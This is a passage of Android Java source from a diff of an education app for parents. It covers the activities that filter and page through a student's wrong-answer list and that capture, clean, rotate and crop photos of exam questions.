274 NetWorks.deleteError(list, new Observer<ResponseResult>() {
275 @Override
276 public void onSubscribe(Disposable d) {
277
278 }
279
280 @Override
281 public void onNext(ResponseResult responseResult) {
282 if (responseResult.getCode() == 200) {
283 adapter.setEdit(false);
284 binding.tvSave.setVisibility(View.GONE);
285 binding.tvAdd.setVisibility(View.VISIBLE);
286 binding.checkbox.setVisibility(View.GONE);
287 binding.llDelete.setVisibility(View.GONE);
288 binding.ivBack.setVisibility(View.VISIBLE);
289 binding.tvEdit.setText("编辑");
290 page = 1;
291 refreshError();
292 }
293 }
294
295 @Override
296 public void onError(Throwable e) {
297
298 }
299
300 @Override
301 public void onComplete() {
302
303 }
304 });
305 }
306
307 private void showFilterMore() {
308 binding.recycleFilter.setVisibility(View.GONE);
309 if (binding.llFilterMore.getVisibility() == View.VISIBLE) {
310 binding.llFilterMore.setVisibility(View.GONE);
311 } else {
312 binding.llFilterMore.setVisibility(View.VISIBLE);
313 last.setTextColor(getColor(R.color.text_title));
314 Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray);
315 // 这一步必须要做,否则不会显示.
316 drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
317 last.setCompoundDrawables(null, null, drawable, null);
318 binding.tvFilterMore.setTextColor(Color.parseColor("#1C90F3"));
319 Drawable drawable1 = getResources().getDrawable(R.drawable.ic_filter_blue);
320 // 这一步必须要做,否则不会显示.
321 drawable1.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
322 binding.tvFilterMore.setCompoundDrawables(null, null, drawable1, null);
323 last = binding.tvFilterMore;
324 }
325 }
326
327 private void setFilterAdapter(List<String> list, TextView textView, String select) {
328 if (TextUtils.isEmpty(select)) {
329 select = "全部";
330 }
331 binding.llFilterMore.setVisibility(View.GONE);
332 if (last != null && last.getId() == R.id.tv_filter_more) {
333 last.setTextColor(getColor(R.color.text_title));
334 Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray);
335 // 这一步必须要做,否则不会显示.
336 drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
337 last.setCompoundDrawables(null, null, drawable, null);
338 }
339 if (binding.recycleFilter.getVisibility() == View.GONE) {
340 if (filterAdapter != null) {
341 filterAdapter.refresh(list, textView, select);
342 } else {
343 filterAdapter = new FilterAdapter(context, new FilterAdapter.Filter() {
344 @Override
345 public void onSelect(TextView type, String select) {
346 switch (type.getId()) {
347 case R.id.tv_filter_grade:
348 grade = select;
349 break;
350 case R.id.tv_filter_subject:
351 subject = select;
352 break;
353 case R.id.tv_filter_manage:
354 manger = select;
355 break;
356 }
357 page = 1;
358 filterAdapter.refresh(select);
359 refreshError();
360 }
361 }, list, textView, select);
362 binding.recycleFilter.setLayoutManager(new GridLayoutManager(context, 4, LinearLayoutManager.VERTICAL, false));
363 binding.recycleFilter.setAdapter(filterAdapter);
364 }
365 binding.recycleFilter.setVisibility(View.VISIBLE);
366 textView.setTextColor(Color.parseColor("#1C90F3"));
367 Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_blue);
368 // 这一步必须要做,否则不会显示.
369 drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
370 textView.setCompoundDrawables(null, null, drawable, null);
371 last = textView;
372 } else {
373 if (textView.getId() == last.getId()) {
374 binding.recycleFilter.setVisibility(View.GONE);
375 textView.setTextColor(getColor(R.color.text_title));
376 Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray);
377 // 这一步必须要做,否则不会显示.
378 drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
379 textView.setCompoundDrawables(null, null, drawable, null);
380 } else {
381 filterAdapter.refresh(list, textView, select);
382 last.setTextColor(getColor(R.color.text_title));
383 Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray);
384 // 这一步必须要做,否则不会显示.
385 drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
386 last.setCompoundDrawables(null, null, drawable, null);
387 textView.setTextColor(Color.parseColor("#1C90F3"));
388 Drawable drawable1 = getResources().getDrawable(R.drawable.ic_filter_blue);
389 // 这一步必须要做,否则不会显示.
390 drawable1.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
391 textView.setCompoundDrawables(null, null, drawable1, null);
392 last = textView;
393 }
394 }
395 }
396
397 private void refreshError() {
398 Map map = new HashMap();
399 if (!TextUtils.isEmpty(subject) && !"全部".equals(subject)) {
400 map.put("subject", subject);
401 }
402 if (!TextUtils.isEmpty(grade) && !"全部".equals(grade)) {
403 map.put("grade", grade);
404 }
405 if (!TextUtils.isEmpty(time) && !"全部".equals(time)) {
406 if ("一周内".equals(time)) {
407 map.put("time", 6);
408 } else if ("一个月内".equals(time)) {
409 map.put("time", 30);
410 } else if ("三个月内".equals(time)) {
411 map.put("time", 90);
412 }
413 }
414 if (!TextUtils.isEmpty(type) && !"全部".equals(type)) {
415 map.put("type", "课内".equals(type) ? 0 : 1);
416 }
417 if (!TextUtils.isEmpty(manger) && !"全部".equals(manger)) {
418 map.put("controlFlag", "已掌握".equals(manger) ? 0 : 1);
419 }
420 map.put("stuId", studentBean.getStuId());
421 map.put("pageSize", 10);
422 map.put("pageNum", page);
423 NetWorks.getError(map, new Observer<ResponseResult<PageInfo<TopicBean>>>() {
424 @Override
425 public void onSubscribe(Disposable d) {
426
427 }
428
429 @Override
430 public void onNext(ResponseResult<PageInfo<TopicBean>> result) {
431 if (result.getData() != null && result.getCode() == 200) {
432 total = result.getData().getTotal();
433 List<TopicBean> topicBeans = result.getData().getList();
434 loadError(topicBeans);
435 }
436 }
437
438 @Override
439 public void onError(Throwable e) {
440 e.toString();
441 }
442
443 @Override
444 public void onComplete() {
445
446 }
447 });
448 }
449
450 private void loadError(List<TopicBean> list) {
451 if (list.size() > 0) {
452 binding.recycle.setVisibility(View.VISIBLE);
453 binding.llEmpty.setVisibility(View.GONE);
454 if (adapter != null) {
455 if (page > 1) {
456 adapter.addData(list);
457 } else {
458 adapter.refresh(list);
459 }
460 } else {
461 adapter = new ErrorAdapter(context, list, false, new ErrorAdapter.CheckInterface() {
462 @Override
463 public void onErrorCheck() {
464 if (adapter.getChecKList().size() > 0) {
465 binding.tvSave.setText("批量修改标签" + "(" + adapter.getChecKList().size() + ")");
466 } else {
467 binding.tvSave.setText("批量修改标签");
468 }
469 }
470 });
471 LinearLayoutManager linearLayoutManager = new LinearLayoutManager(context, LinearLayoutManager.VERTICAL, false);
472 binding.recycle.setLayoutManager(linearLayoutManager);
473 binding.recycle.setAdapter(adapter);
474 binding.recycle.addOnScrollListener(new LoadMoreOnScrollListener(linearLayoutManager) {
475 @Override
476 public void onLoadMore(int currentPage) {
477 if (currentPage > page) {
478 new Thread(new Runnable() {
479 @Override
480 public void run() {
481 try {
482 runOnUiThread(new Runnable() {
483 @Override
484 public void run() {
485 if (page * 10 < total) {
486 page++;
487 refreshError();
488 }
489 }
490 });
491 } catch (Exception e) {
492 e.printStackTrace();
493 }
494 }
495 }).start();
496 }
497 }
498 });
499 }
500 } else {
501 if (page == 1) {
502 binding.recycle.setVisibility(View.GONE);
503 binding.llEmpty.setVisibility(View.VISIBLE);
504 }
505 }
506 }
507
508 @Override
509 public boolean onKeyDown(int keyCode, KeyEvent event) {
510 if (keyCode == KeyEvent.KEYCODE_BACK) {
511 if (adapter != null && adapter.edit) {
512 adapter.setEdit(false);
513 binding.tvSave.setVisibility(View.GONE);
514 binding.tvAdd.setVisibility(View.VISIBLE);
515 binding.checkbox.setVisibility(View.GONE);
516 binding.llDelete.setVisibility(View.GONE);
517 binding.ivBack.setVisibility(View.VISIBLE);
518 binding.tvEdit.setText("编辑");
519 adapter.notifyDataSetChanged();
520 } else {
521 finish();
522 }
523 return true;
524 }
525 return super.onKeyDown(keyCode, event);
526 }
527
528 @Override
529 protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
530 super.onActivityResult(requestCode, resultCode, data);
531 if (requestCode == REQUEST_CODE_IMAGE && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) {
532 Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath));
533 String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
534 CommonUtil.saveBitmapToUri(b, path);
535 List<String> strings = new ArrayList<>();
536 Intent intent = new Intent(context, ImageActivity.class);
537 strings.add(path);
538 intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
539 startActivity(intent);
540 }
541 }
542
543 public class HandlerCallBack implements IHandlerCallBack<ImageInfo> {
544 private String TAG = "---ImagePicker---";
545 List<ImageInfo> photoList = new ArrayList<>();
546
547 @Override
548 public void onStart() {
549 Log.i(TAG, "onStart: 开启");
550 }
551
552 @Override
553 public void onSuccess(List<ImageInfo> photoList) {
554 this.photoList = photoList;
555 Log.i(TAG, "onSuccess: 返回数据");
556 }
557
558 @Override
559 public void onCancel() {
560 Log.i(TAG, "onCancel: 取消");
561 }
562
563 @Override
564 public void onFinish(List<ImageInfo> selectImage) {
565 if (selectImage.size() == photoList.size()) {
566 List<String> strings = new ArrayList<>();
567 Intent intent = new Intent(context, ImageActivity.class);
568 for (ImageInfo imageInfo : selectImage) {
569 strings.add(imageInfo.getPath());
570 }
571 intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
572 startActivity(intent);
573 }
574 }
575
576 @Override
577 public void onError() {
578 Log.i(TAG, "onError: 出错");
579 }
580 }
581
582 @Override
583 protected void onResume() {
584 refreshError();
585 super.onResume();
586 }
587 }
588
app/src/main/java/com/hjx/parent/ImageActivity.java
File was created 1 package com.hjx.parent;
2
3 import android.app.Dialog;
4 import android.content.Intent;
5 import android.graphics.Bitmap;
6 import android.graphics.BitmapFactory;
7 import android.graphics.Rect;
8 import android.net.Uri;
9 import android.os.Bundle;
10 import android.os.Handler;
11 import android.provider.MediaStore;
12 import android.text.TextUtils;
13 import android.util.Log;
14 import android.view.KeyEvent;
15 import android.view.View;
16
17
18 import androidx.annotation.Nullable;
19 import androidx.core.content.FileProvider;
20 import androidx.viewpager2.widget.ViewPager2;
21
22 import com.google.gson.Gson;
23 import com.google.gson.JsonObject;
24 import com.hjx.parent.adapter.ImageAdapter;
25 import com.hjx.parent.databinding.ActivityImageBinding;
26 import com.hjx.parent.dialog.ErrorInputDialog;
27 import com.hjx.parent.dialog.TipDialog;
28 import com.prws.common.bean.CutPicBean;
29 import com.prws.common.bean.ImageBean;
30 import com.prws.common.bean.TopicBean;
31 import com.prws.common.net.NetWorks;
32 import com.prws.common.utils.BitmapUtils;
33 import com.prws.common.utils.CommonUtil;
34
35 import java.io.File;
36 import java.util.ArrayList;
37 import java.util.List;
38
39 import io.reactivex.Observer;
40 import io.reactivex.disposables.Disposable;
41 import retrofit2.Call;
42 import retrofit2.Callback;
43 import retrofit2.Response;
44
45 public class ImageActivity extends BaseActivity<ActivityImageBinding> implements View.OnClickListener {
46
47 private List<String> images = new ArrayList<>();
48 private ImageAdapter imageAdapter;
49 private List<ImageBean> list = new ArrayList<>();
50 private String filePath;
51
52 @Override
53 public void initView(Bundle savedInstanceState) {
54 images = getIntent().getStringArrayListExtra("images");
55 for (String s : images) {
56 String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
57 ImageBean imageBean = new ImageBean();
58 Bitmap bitmap = BitmapUtils.getimage(s);
59 CommonUtil.saveBitmapToUri(bitmap, filepath);
60 imageBean.setPath(filepath);
61 list.add(imageBean);
62 }
63 imageAdapter = new ImageAdapter(this, list);
64 binding.viewPager.setAdapter(imageAdapter);
65 binding.viewPager.registerOnPageChangeCallback(new ViewPager2.OnPageChangeCallback() {
66 @Override
67 public void onPageSelected(int position) {
68 binding.tvTitle.setText((binding.viewPager.getCurrentItem() + 1) + "/" + list.size());
69 if (position == 0) {
70 binding.ivPrevious.setImageResource(R.mipmap.ic_previous_gray);
71 binding.ivPrevious.setEnabled(false);
72 } else {
73 binding.ivPrevious.setImageResource(R.mipmap.ic_previous);
74 binding.ivPrevious.setEnabled(true);
75 }
76 if (position == list.size() - 1) {
77 binding.ivNext.setImageResource(R.mipmap.ic_next_gray);
78 binding.ivNext.setEnabled(false);
79 } else {
80 binding.ivNext.setImageResource(R.mipmap.ic_next);
81 binding.ivNext.setEnabled(true);
82 }
83 if (list.get(position).getCuts() == null) {
84 clearText();
85 }
86 super.onPageSelected(position);
87 }
88 });
89 binding.ivNext.setOnClickListener(this);
90 binding.ivPrevious.setOnClickListener(this);
91 binding.ivBack.setOnClickListener(this);
92 binding.tvPhoto.setOnClickListener(this);
93 binding.tvAdd.setOnClickListener(this);
94 binding.llEdit.setOnClickListener(this);
95 binding.tvSave.setOnClickListener(this);
96 }
97
98 public void clearText() {
99 int index = binding.viewPager.getCurrentItem();
100 showLoadingDialog(getString(R.string.loading_text));
101 Log.i("clearText", list.get(index).getPath());
102 String base64 = BitmapUtils.imageToBase64(list.get(index).getPath());
103 NetWorks.removeWriting(base64, new Observer<JsonObject>() {
104 @Override
105 public void onSubscribe(Disposable d) {
106
107 }
108
109 @Override
110 public void onNext(JsonObject jsonObject) {
111 if (jsonObject != null && jsonObject.get("image_processed") != null) {
112 String image = jsonObject.get("image_processed").getAsString();
113 if (image != null) {
114 String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
115 CommonUtil.saveBitmapToUri(BitmapUtils.stringToBitmap(image), filepath);
116 list.get(index).setPath(filepath);
117 imageAdapter.notifyItemChanged(index);
118 cut(filepath);
119 } else {
120 loadFail("去除字迹失败");
121 }
122 } else {
123 loadFail("去除字迹失败");
124 }
125 }
126
127 @Override
128 public void onError(Throwable e) {
129 loadFail("去除字迹失败");
130 }
131
132 @Override
133 public void onComplete() {
134
135 }
136 });
137 }
138
139 public void cut(String path) {
140 String base64 = BitmapUtils.imageToBase64(path);
141 Log.i("figLoaction", path);
142 NetWorks.cut(base64, new Observer<CutPicBean>() {
143 @Override
144 public void onSubscribe(Disposable d) {
145
146 }
147
148 @Override
149 public void onNext(CutPicBean cutPicBean) {
150 if (cutPicBean != null) {
151 if (cutPicBean.getDirection() != 0) {
152 rotatingImage(cutPicBean);
153 } else {
154 if (cutPicBean.getQus_figure() != null && cutPicBean.getQus_figure().size() > 0) {
155 List<CutPicBean.FigLoaction> figLoactions = new ArrayList<>();
156 for (CutPicBean.CutLocation cutLocation : cutPicBean.getQus_figure()) {
157 figLoactions.add(cutLocation.getFig_location());
158 }
159 new Handler().postDelayed(new Runnable() {
160 @Override
161 public void run() {
162 getRects(figLoactions);
163 }
164 }, 1000);
165 } else {
166 cancelLoadingDialog();
167 }
168 }
169 } else {
170 loadFail("自动切题失败");
171 }
172 }
173
174 @Override
175 public void onError(Throwable e) {
176 loadFail("自动切题失败");
177 }
178
179 @Override
180 public void onComplete() {
181
182 }
183 });
184 }
185
186 private void getRects(List<CutPicBean.FigLoaction> figLoactions) {
187 Log.i("figLoaction", new Gson().toJson(figLoactions));
188 int index = binding.viewPager.getCurrentItem();
189 List<ImageBean.Cut> cuts = new ArrayList<>();
190 for (CutPicBean.FigLoaction figLoaction : figLoactions) {
191 ImageBean.Cut cut = new ImageBean.Cut();
192 cut.setRect(figLoaction);
193 cut.setSelect(false);
194 cuts.add(cut);
195 }
196 list.get(index).setCuts(cuts);
197 imageAdapter.notifyItemChanged(index);
198 cancelLoadingDialog();
199 }
200
201 private void rotatingImage(CutPicBean cutPicBean) {
202 int index = binding.viewPager.getCurrentItem();
203 Bitmap bitmap = BitmapFactory.decodeFile(list.get(index).getPath());
204 int angle = 0;
205 switch (cutPicBean.getDirection()) {
206 case 1:
207 angle = 90;
208 break;
209 case 2:
210 angle = 180;
211 break;
212 case 3:
213 angle = 270;
214 break;
215 }
216 if (cutPicBean.getQus_figure() != null && cutPicBean.getQus_figure().size() > 0) {
217 List<CutPicBean.FigLoaction> figLoactions = new ArrayList<>();
218 for (CutPicBean.CutLocation cutLocation : cutPicBean.getQus_figure()) {
219 figLoactions.add(cutLocation.getFig_location());
220 }
221 figLoactions = CommonUtil.rotaingLocation(angle, figLoactions, bitmap.getWidth(), bitmap.getHeight());
222 bitmap = CommonUtil.rotaingImageView(angle, bitmap);
223 String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
224 CommonUtil.saveBitmapToUri(bitmap, filepath);
225 list.get(index).setPath(filepath);
226 imageAdapter.notifyItemChanged(index);
227 List<CutPicBean.FigLoaction> finalFigLoactions = figLoactions;
228 new Handler().postDelayed(new Runnable() {
229 @Override
230 public void run() {
231 getRects(finalFigLoactions);
232 }
233 }, 500);
234 } else {
235 cancelLoadingDialog();
236 }
237 }
238
239 @Override
240 protected ActivityImageBinding getViewBinding() {
241 return ActivityImageBinding.inflate(getLayoutInflater());
242 }
243
244 public void refreshNum() {
245 int num = 0;
246 for (ImageBean imageBean : list) {
247 if (imageBean.getCuts() != null && imageBean.getCuts().size() > 0) {
248 for (ImageBean.Cut cut : imageBean.getCuts()) {
249 if (cut.isSelect()) {
250 num++;
251 }
252 }
253 }
254 }
255 if (num > 0) {
256 binding.tvSave.setEnabled(true);
257 binding.tvSave.setBackgroundResource(R.drawable.bg_soild_blue_5);
258 binding.tvSave.setText("保留错题(" + num + ")");
259 } else {
260 binding.tvSave.setEnabled(false);
261 binding.tvSave.setBackgroundResource(R.drawable.bg_soild_blue_light_5);
262 binding.tvSave.setText("保留错题");
263 }
264 }
265
266 @Override
267 public void onClick(View v) {
268 switch (v.getId()) {
269 case R.id.iv_back:
270 back();
271 break;
272 case R.id.iv_next:
273 binding.viewPager.setCurrentItem(binding.viewPager.getCurrentItem() + 1);
274 break;
275 case R.id.iv_previous:
276 binding.viewPager.setCurrentItem(binding.viewPager.getCurrentItem() - 1);
277 break;
278 case R.id.ll_edit:
279 Intent intent = new Intent(context, ImageEditActivity.class);
280 intent.putExtra("path", list.get(binding.viewPager.getCurrentItem()).getPath());
281 startActivityForResult(intent, 1001);
282 break;
283 case R.id.tv_photo:
284 Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
285 //确保有相机来处理Intent
286 filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
287 File photoFile = new File(filePath);
288 if (photoFile != null) {
289 //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
290 Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
291 takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
292 takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
293 activity.startActivityForResult(takePictureIntent, 1002);
294 }
295 break;
296 case R.id.tv_add:
297 Intent intent1 = new Intent(context, ImageSelectActivity.class);
298 intent1.putExtra("path", list.get(binding.viewPager.getCurrentItem()).getPath());
299 startActivityForResult(intent1, 1001);
300 break;
301 case R.id.tv_save:
302 List<TopicBean> topicBeans = new ArrayList<>();
303 for (ImageBean imageBean : list) {
304 if (imageBean.getCuts() != null && imageBean.getCuts().size() > 0) {
305 for (ImageBean.Cut cut : imageBean.getCuts()) {
306 if (cut.isSelect()) {
307 TopicBean bean = new TopicBean();
308 String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
309 BitmapUtils.saveBitmap(cut.getBitmap(), path);
310 bean.setPath(path);
311 topicBeans.add(bean);
312 }
313 }
314 }
315 }
316 ErrorInputDialog dialog = new ErrorInputDialog(this, topicBeans);
317 dialog.show();
318 break;
319 }
320 }
321
322 @Override
323 protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
324 super.onActivityResult(requestCode, resultCode, data);
325 if (requestCode == 1001) {
326 if (resultCode == 1002) {
327 if (list.size() > 1) {
328 list.remove(binding.viewPager.getCurrentItem());
329 imageAdapter.notifyItemRemoved(binding.viewPager.getCurrentItem());
330 binding.tvTitle.setText((binding.viewPager.getCurrentItem() + 1) + "/" + list.size());
331 refreshNum();
332 } else {
333 finish();
334 }
335 } else if (resultCode == 1003) {
336 int position = binding.viewPager.getCurrentItem();
337 list.remove(position);
338 String path = data.getStringExtra("path");
339 ImageBean imageBean = new ImageBean();
340 imageBean.setPath(path);
341 list.add(position, imageBean);
342 imageAdapter.notifyItemChanged(position);
343 clearText();
344 refreshNum();
345 } else if (resultCode == 1004) {
346 Rect rect = data.getParcelableExtra("cut");
347 if (rect != null) {
348 int position = binding.viewPager.getCurrentItem();
349 ImageBean.Cut cut = new ImageBean.Cut();
350 cut.setRect1(rect);
351 cut.setSelect(false);
352 list.get(position).getCuts().add(cut);
353 imageAdapter.notifyItemChanged(position);
354 refreshNum();
355 }
356 } else if (resultCode == 1005) {
357 int i = data.getIntExtra("position", 0);
358 int position = binding.viewPager.getCurrentItem();
359 Rect rect = data.getParcelableExtra("cut");
360 if (rect != null) {
361 ImageBean.Cut cut = new ImageBean.Cut();
362 cut.setRect1(rect);
363 cut.setSelect(false);
364 list.get(position).getCuts().remove(i);
365 list.get(position).getCuts().add(i, cut);
366 imageAdapter.notifyItemChanged(position);
367 refreshNum();
368 } else {
369 list.get(position).getCuts().remove(i);
370 imageAdapter.notifyItemChanged(position);
371 refreshNum();
372 }
373 }
374 } else if (requestCode == 1002 && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) {
375 Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath));
376 String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
377 CommonUtil.saveBitmapToUri(b, path);
378 int position = binding.viewPager.getCurrentItem();
379 list.remove(position);
380 ImageBean imageBean = new ImageBean();
381 imageBean.setPath(path);
382 list.add(position, imageBean);
383 imageAdapter.notifyItemChanged(position);
384 clearText();
385 refreshNum();
386 }
387 }
388
389 private void back() {
390 showTipDialog("温馨提示", "是否确认退出?", "取消", "确定", new TipDialog.TipDialogInterface() {
391 @Override
392 public void onConfirm(Dialog dialog) {
393 dialog.dismiss();
394 finish();
395 }
396
397 @Override
398 public void onCancel(Dialog dialog) {
399 dialog.dismiss();
400 }
401 });
402 }
403
404 @Override
405 public boolean onKeyDown(int keyCode, KeyEvent event) {
406 if (keyCode == KeyEvent.KEYCODE_BACK) {
407 back();
408 return true;
409 }
410 return super.onKeyDown(keyCode, event);
411 }
412 }
413
app/src/main/java/com/hjx/parent/ImageEditActivity.java
File was created 1 package com.hjx.parent;
2
3 import android.app.Dialog;
4 import android.content.Intent;
5 import android.graphics.Bitmap;
6 import android.graphics.BitmapFactory;
7 import android.graphics.Rect;
8 import android.hardware.camera2.CameraCharacteristics;
9 import android.net.Uri;
10 import android.os.Bundle;
11 import android.os.SystemClock;
12 import android.provider.MediaStore;
13 import android.text.TextUtils;
14 import android.util.Log;
15 import android.view.KeyEvent;
16 import android.view.MotionEvent;
17 import android.view.View;
18 import android.widget.RelativeLayout;
19
20 import androidx.annotation.Nullable;
21 import androidx.core.content.FileProvider;
22
23 import com.hjx.parent.databinding.ActivityImageEditBinding;
24 import com.hjx.parent.dialog.TipDialog;
25 import com.prws.common.utils.BitmapUtils;
26 import com.prws.common.utils.CommonUtil;
27 import com.prws.common.widget.MarkSizeView;
28 import com.zhangteng.imagepicker.bean.ImageInfo;
29 import com.zhangteng.imagepicker.config.ImagePickerConfig;
30 import com.zhangteng.imagepicker.config.ImagePickerEnum;
31 import com.zhangteng.imagepicker.config.ImagePickerOpen;
32 import com.zhangteng.imagepicker.imageloader.GlideImageLoader;
33 import com.zhangteng.utils.IHandlerCallBack;
34
35 import java.io.File;
36 import java.util.ArrayList;
37 import java.util.List;
38
39 public class ImageEditActivity extends BaseActivity<ActivityImageEditBinding> {
40 private Bitmap bitmap;
41 private String filepath;
42
43 @Override
44 public void initView(Bundle savedInstanceState) {
45 String path = getIntent().getStringExtra("path");
46 bitmap = BitmapFactory.decodeFile(path);
47 showImage(true);
48 binding.markView.setmOnClickListener(new MarkSizeView.onClickListener() {
49 @Override
50 public void onConfirm(Rect markedArea) {
51 Bitmap backGroundBitmap = binding.markView.getBackGroundBitmap();
52 int bitmapWidth = backGroundBitmap.getWidth();
53 int bitmapHeight = backGroundBitmap.getHeight();
54 int markSizeViewWidth = binding.markView.getWidth();
55 int markSizeHeight = binding.markView.getHeight();
56 Log.d(toString(), markedArea.toString());
57 int widthFold = (int) CommonUtil.div(bitmapWidth, markSizeViewWidth, 2);
58 int heightFold = (int) CommonUtil.div(bitmapHeight, markSizeHeight, 2);
59
60 markedArea.left = CommonUtil.mulForInt(markedArea.left, widthFold);
61 markedArea.top = CommonUtil.mulForInt(markedArea.top, heightFold);
62 markedArea.right = CommonUtil.mulForInt(markedArea.right, widthFold);
63 markedArea.bottom = CommonUtil.mulForInt(markedArea.bottom, heightFold);
64 Log.d(toString(), "markedArea.left=" + markedArea.left + "markedArea.top=" + markedArea.top
65 + ";markedArea.right=" + markedArea.right + ";markedArea.bottom=" + markedArea.bottom);
66 bitmap = Bitmap.createBitmap(backGroundBitmap,
67 markedArea.left,
68 markedArea.top,
69 (markedArea.right - markedArea.left) > bitmapWidth ? bitmapWidth : markedArea.right - markedArea.left,
70 (markedArea.bottom - markedArea.top) > bitmapHeight ? bitmapHeight : markedArea.bottom - markedArea.top);
71 binding.markView.reset();
72 showImage(false);
73 }
74
75 @Override
76 public void onCancel() {
77
78 }
79
80 @Override
81 public void onTouch() {
82
83 }
84 });
85 binding.llRotate.setOnClickListener(new View.OnClickListener() {
86 @Override
87 public void onClick(View v) {
88 bitmap = BitmapUtils.routeBitmap(bitmap);
89 showImage(false);
90 }
91 });
92 binding.ivBack.setOnClickListener(new View.OnClickListener() {
93 @Override
94 public void onClick(View v) {
95 back();
96 }
97 });
98 binding.llDelete.setOnClickListener(new View.OnClickListener() {
99 @Override
100 public void onClick(View v) {
101 setResult(1002);
102 finish();
103 }
104 });
105 binding.tvSave.setOnClickListener(new View.OnClickListener() {
106 @Override
107 public void onClick(View v) {
108 Bitmap b = BitmapUtils.compress(bitmap);
109 String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
110 CommonUtil.saveBitmapToUri(b, filepath);
111 Intent intent = new Intent();
112 intent.putExtra("path", filepath);
113 setResult(1003, intent);
114 finish();
115 }
116 });
117 binding.llPhoto.setOnClickListener(new View.OnClickListener() {
118 @Override
119 public void onClick(View v) {
120 Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
121 //确保有相机来处理Intent
122 filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
123 File photoFile = new File(filepath);
124 if (photoFile != null) {
125 //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
126 Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
127 takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
128 takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
129 activity.startActivityForResult(takePictureIntent, 1);
130 }
131 }
132 });
133 }
134
135 private void back() {
136 showTipDialog("温馨提示", "是否确认放弃当前的编辑?", "取消", "确定", new TipDialog.TipDialogInterface() {
137 @Override
138 public void onConfirm(Dialog dialog) {
139 dialog.dismiss();
140 finish();
141 }
142
143 @Override
144 public void onCancel(Dialog dialog) {
145 dialog.dismiss();
146 }
147 });
148 }
149
150 @Override
151 public boolean onKeyDown(int keyCode, KeyEvent event) {
152 if (keyCode == KeyEvent.KEYCODE_BACK) {
153 back();
154 return true;
155 }
156 return super.onKeyDown(keyCode, event);
157 }
158
159 private void showImage(boolean cut) {
160 float imageHeight = bitmap.getHeight();
161 float imageWidth = bitmap.getWidth();
162 float viewHeight = CommonUtil.getScreenHeight(context) - CommonUtil.dpToPx(context, 210);
163 float viewWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 30);
164 binding.markView.post(new Runnable() {
165 @Override
166 public void run() {
167 binding.markView.reset();
168 RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(binding.markView.getLayoutParams());
169 if (imageHeight / imageWidth > viewHeight / viewWidth) {
170 if (viewHeight > imageHeight) {
171 layoutParams.height = (int) imageHeight;
172 layoutParams.width = (int) imageWidth;
173 } else {
174 layoutParams.height = (int) viewHeight;
175 layoutParams.width = (int) ((float) (imageWidth / imageHeight) * viewHeight);
176 }
177 } else {
178 if (viewWidth > imageWidth) {
179 layoutParams.height = (int) imageHeight;
180 layoutParams.width = (int) imageWidth;
181 } else {
182 layoutParams.height = (int) ((float) (imageHeight / imageWidth) * viewWidth);
183 layoutParams.width = (int) viewWidth;
184 }
185 }
186 layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT);
187 binding.markView.setLayoutParams(layoutParams);
188 binding.markView.setBackGroundBitmap(bitmap);
189 binding.markView.reset();
190 if (cut) {
191 simulateClick(10, layoutParams.width - 10, 10, layoutParams.height - 10);
192 }
193 }
194 });
195 }
196
197 private void simulateClick(int x1, int x2, int y1, int y2) {
198 long downTime = SystemClock.uptimeMillis();
199 final MotionEvent downEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_DOWN, x1, y1, 0);
200 downTime += 1000;
